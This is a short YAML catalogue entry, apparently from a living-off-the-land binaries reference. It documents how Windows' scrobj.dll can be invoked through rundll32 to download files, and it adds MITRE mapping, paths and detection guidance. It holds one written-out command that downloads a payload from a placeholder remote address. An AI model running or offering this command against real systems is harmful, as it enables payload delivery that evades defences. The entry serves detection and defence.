---
Name: Scrobj.dll
Description: Windows Script Component Runtime
Author: Eral4m
Created: 2021-01-07
Commands:
  - Command: rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib http://x.x.x.x/payload.exe
    Description: Once executed, rundll32.exe will download the file at the URL in the command to %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\<random>\payload[1].exe.
    Usecase: Download file from remote location.
    Category: Download
    Privileges: User
    MitreID: T1105
    OperatingSystem: Windows 10, Windows 11
    Tags:
      - Download: INetCache
Full_Path:
  - Path: c:\windows\system32\scrobj.dll
  - Path: c:\windows\syswow64\scrobj.dll
Detection:
  - Sigma: https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml
  - IOC: Execution of rundll32.exe with 'GenerateTypeLib' and a protocol handler ('://') on the command line
Resources:
  - Link: https://twitter.com/eral4m/status/1479106975967240209
Acknowledgement:
  - Person: Eral4m
    Handle: '@eral4m'